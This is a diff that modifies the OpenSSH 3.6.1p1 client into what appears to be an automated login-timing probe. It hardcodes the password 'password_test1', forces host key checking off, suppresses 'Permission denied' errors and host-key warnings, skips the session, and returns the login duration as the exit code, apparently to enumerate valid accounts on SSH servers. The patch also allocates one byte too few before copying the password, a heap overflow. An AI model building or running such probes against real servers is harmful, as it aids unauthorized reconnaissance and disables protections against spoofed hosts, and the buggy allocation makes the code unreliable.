Common subdirectories: openssh-3.6.1p1/autom4te-2.53.cache and openssh-3.6.1p1_patch/autom4te-2.53.cache Common subdirectories: openssh-3.6.1p1/contrib and openssh-3.6.1p1_patch/contrib Common subdirectories: openssh-3.6.1p1/openbsd-compat and openssh-3.6.1p1_patch/openbsd-compat Common subdirectories: openssh-3.6.1p1/regress and openssh-3.6.1p1_patch/regress Common subdirectories: openssh-3.6.1p1/scard and openssh-3.6.1p1_patch/scard diff -u -P openssh-3.6.1p1/ssh.c openssh-3.6.1p1_patch/ssh.c --- openssh-3.6.1p1/ssh.c 2003-02-24 01:57:32.000000000 +0100 +++ openssh-3.6.1p1_patch/ssh.c 2003-04-11 13:38:44.000000000 +0200 @@ -221,6 +221,9 @@ int dummy; extern int optind, optreset; extern char *optarg; + time_t start_time_ssh; + time_t cur_time_ssh; + __progname = get_progname(av[0]); init_rng(); @@ -700,9 +703,15 @@ signal(SIGPIPE, SIG_IGN); /* ignore SIGPIPE early */ + time( &start_time_ssh ); + /* Log into the remote system. This never returns if the login fails. */ ssh_login(&sensitive_data, host, (struct sockaddr *)&hostaddr, pw); + time( &cur_time_ssh ); + + exit_status = (int) difftime(cur_time_ssh,start_time_ssh); + /* We no longer need the private host keys. Clear them now. */ if (sensitive_data.nkeys != 0) { for (i = 0; i < sensitive_data.nkeys; i++) { @@ -726,7 +735,7 @@ } } - exit_status = compat20 ? ssh_session2() : ssh_session(); + //exit_status = compat20 ? ssh_session2() : ssh_session(); packet_close(); /* diff -u -P openssh-3.6.1p1/sshconnect.c openssh-3.6.1p1_patch/sshconnect.c --- openssh-3.6.1p1/sshconnect.c 2002-12-23 03:06:20.000000000 +0100 +++ openssh-3.6.1p1_patch/sshconnect.c 2003-04-11 13:24:30.000000000 +0200 @@ -620,16 +620,17 @@ log("Failed to add the %s host key for IP " "address '%.128s' to the list of known " "hosts (%.30s).", type, ip, user_hostfile); - else - log("Warning: Permanently added the %s host " - "key for IP address '%.128s' to the list " - "of known hosts.", type, ip); +// else +// log("Warning: Permanently added the %s host " +// "key for IP address '%.128s' to the list " +// "of known hosts.", type, ip); } break; case HOST_NEW: if (readonly) goto fail; /* The host is new. */ + options.strict_host_key_checking = 0; if (options.strict_host_key_checking == 1) { /* * User has requested strict host key checking. We @@ -670,9 +671,9 @@ if (!add_host_to_hostfile(user_hostfile, hostp, host_key)) log("Failed to add the host to the list of known " "hosts (%.500s).", user_hostfile); - else - log("Warning: Permanently added '%.200s' (%s) to the " - "list of known hosts.", hostp, type); +// else +// log("Warning: Permanently added '%.200s' (%s) to the " +// "list of known hosts.", hostp, type); break; case HOST_CHANGED: if (options.check_host_ip && host_ip_differ) { diff -u -P openssh-3.6.1p1/sshconnect1.c openssh-3.6.1p1_patch/sshconnect1.c --- openssh-3.6.1p1/sshconnect1.c 2002-08-20 20:41:16.000000000 +0200 +++ openssh-3.6.1p1_patch/sshconnect1.c 2003-04-11 13:24:30.000000000 +0200 @@ -927,9 +927,11 @@ if (options.cipher == SSH_CIPHER_NONE) log("WARNING: Encryption is disabled! Password will be transmitted in clear text."); for (i = 0; i < options.number_of_password_prompts; i++) { - if (i != 0) - error("Permission denied, please try again."); - password = read_passphrase(prompt, 0); + //if (i != 0) + // error("Permission denied, please try again."); + //password = read_passphrase(prompt, 0); + password = malloc(strlen("password_test1")); + strcpy(password,"password_test1"); packet_start(SSH_CMSG_AUTH_PASSWORD); ssh_put_password(password); memset(password, 0, strlen(password)); @@ -1267,7 +1269,9 @@ goto success; } /* All authentication methods have failed. Exit with an error message. */ - fatal("Permission denied."); + //fatal("Permission denied."); + + return; /* NOTREACHED */ success: diff -u -P openssh-3.6.1p1/sshconnect2.c openssh-3.6.1p1_patch/sshconnect2.c --- openssh-3.6.1p1/sshconnect2.c 2003-04-01 13:43:40.000000000 +0200 +++ openssh-3.6.1p1_patch/sshconnect2.c 2003-04-11 13:25:00.000000000 +0200 @@ -288,7 +288,11 @@ for (;;) { Authmethod *method = authmethod_get(authlist); if (method == NULL) - fatal("Permission denied (%s).", authlist); + { + authctxt->success = 1; + return; + } + // fatal("Permission denied (%s).", authlist); authctxt->method = method; if (method->userauth(authctxt) != 0) { debug2("we sent a %s packet, wait for reply", method->name); @@ -314,7 +318,7 @@ debug3("input_userauth_banner"); msg = packet_get_string(NULL); lang = packet_get_string(NULL); - fprintf(stderr, "%s", msg); +// fprintf(stderr, "%s", msg); xfree(msg); xfree(lang); } @@ -450,12 +454,13 @@ if (attempt++ >= options.number_of_password_prompts) return 0; - if (attempt != 1) - error("Permission denied, please try again."); - - snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ", - authctxt->server_user, authctxt->host); - password = read_passphrase(prompt, 0); + //if (attempt != 1) + // error("Permission denied, please try again."); + password = malloc(strlen("password_test1")); + strcpy(password,"password_test1"); + //snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ", + // authctxt->server_user, authctxt->host); + //password = read_passphrase(prompt, 0); packet_start(SSH2_MSG_USERAUTH_REQUEST); packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service);